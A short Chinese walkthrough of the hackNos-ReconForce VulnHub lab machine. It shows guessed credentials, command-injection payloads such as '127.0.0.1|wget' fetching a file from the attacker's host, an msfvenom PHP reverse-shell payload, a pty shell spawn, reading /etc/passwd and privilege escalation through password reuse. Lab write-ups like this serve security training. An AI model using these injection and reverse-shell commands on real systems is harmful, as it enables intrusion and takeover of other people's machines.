前言
靶机:hackNos-ReconForce-vulnhub渗透测试
靶机IP:192.168.0.11
KALI IP:192.168.0.9
渗透过程
nmap扫描端口,这里有21端口,22端口还有80端口。

先看ftp端口,暂且没有用。

80端口看看有啥。直接访问,很酷的页面。

点击TroubleShoot会跳出用户认证

社工来了,猜!!!
用户名为root或者admin
密码为Recon Security和Secure@hackNos的组合…..
所以尝试密码为:Security@hackNos

尝试命令127.0.0.1|ls

然后尝试127.0.0.1|out.php
看到了过滤规则
然后我们尝试写木马进去,用于后期反弹shell
1 | msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.9 LPORT=1234 R >shell.txt |

1 | 记得把其中的'/*'删掉 |
把该txt文件移入/var/www/html
在靶机执行如下命令
127.0.0.1|wget http://192.168.0.9/shell.txt

然后执行127.0.0.1|cp shell.txt shell.php
这样shell就写入成功

KALI开启msf
1 | msfconsole |
然后访问http://192.168.0.11/5ecure/shell.php触发shell

然后获得tty
1 | python -c 'import pty; pty.spawn("/bin/bash")' |

然后cat /etc/passwd

在这里看到recon的用户
最有意思的地方来了,又是社工,recon的密码可能会是和之前的登陆密码一样。就这种密码一样的情况就很常见,密码:Security@hackNos

recon可以执行任意用户权限的任意命令……

提权成功
总结
社工吧。